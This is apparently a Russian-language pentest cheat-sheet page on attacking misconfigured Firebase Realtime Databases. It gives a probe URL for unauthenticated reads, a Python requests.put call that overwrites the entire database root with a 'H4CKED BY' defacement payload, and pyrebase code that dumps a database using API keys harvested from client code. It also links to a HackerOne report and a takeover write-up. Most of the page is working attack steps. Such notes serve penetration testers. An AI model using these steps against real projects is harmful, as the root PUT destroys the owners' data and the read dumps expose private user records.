# Firebase

## Если кратко

Пробуем

```
https://<databasename>.firebaseio.com/.json
```

## Другой пример

```python
import requests
data= {"Exploit":"Successfull", "H4CKED BY": "zfr"}
reponse = requests.put("https://my-proj.firebaseio.com/.json", json=data)
```

Если потом через Get сможем запросить — уязвимо: <https://hackerone.com/reports/1065134>

## Firebase Database Takeover

Пример пентеста с плохо сконфигурированной базой - <https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1>

## Пример поиска и эксплуатации ключей Firebase

1 Ищем по коду подобные константы:\\

![](https://2100114679-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ls6nEJ632aL96Mci8nj%2F-M-9V_59EmDzBNtpZ-pI%2F-M-9kl7GAPffqp0f9-2z%2F%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?alt=media\&token=ba2cd0d0-a886-49d0-b4f7-420183fe1e93)

Пример работы с firebase базой с помощью `pip install pyrebase`

```
import pyrebase

config = {
  "apiKey": "FIREBASE_API_KEY",
  "authDomain": "FIREBASE_AUTH_DOMAIN_ID.firebaseapp.com",
  "databaseURL": "https://FIREBASE_AUTH_DOMAIN_ID.firebaseio.com",
  "storageBucket": "FIREBASE_AUTH_DOMAIN_ID.appspot.com",
}

firebase = pyrebase.initialize_app(config)

db = firebase.database()

print(db.get())

```

Этот код отработает, если выставлены permissions на чтение для apiKey

В документации pyrebase можно найти другие примеры по работе с Firebase.
